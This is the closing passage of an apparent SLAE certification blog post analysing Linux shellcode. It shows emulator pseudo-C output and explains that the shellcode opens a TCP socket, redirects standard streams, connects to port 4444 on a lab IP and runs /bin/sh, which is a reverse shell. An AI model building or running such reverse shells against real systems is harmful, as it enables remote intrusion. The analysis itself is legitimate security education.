int execve (
const char * dateiname = 0x00416fa6 =>
= "//bin/sh";
const char * argv[] = [
= 0x00416f9e =>
= 0x00416fa6 =>
= "//bin/sh";
= 0x00000000 =>
none;
];
const char * envp[] = 0x00000000 =>
none;
) = 0;
From the pseudo C code at the end of the output, we can see that a TCP socket it has been opened and the new file descriptor is used to duplicate standard input, output and error.
Then a connect on port 4444 for IP address 172.16.202.164, that it is the address of my Linux VirtualBox machine and a final execve called on /bin/sh on the connected socket.
What I’ve learnt
I have to admit, other assignments are more exciting because of some coding to do. However, reversing code is interesting because you can learn some clever coding techniques.
On those specific analysis, the most interesting techniques I’ve learnt are:
- using cdq instruction, after setting EAX register to a positive value, to init EDX to zero
- the CALL used to jump in the middle of a shellcode so the ESP can point to “/bin/sh” string
SLAE Exam Statement
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1217
Vuoi aiutarmi a portare avanti il progetto Codice Insicuro con una donazione? Fantastico, allora non ti basta che premere il pulsante qui sotto.
Supporta il progetto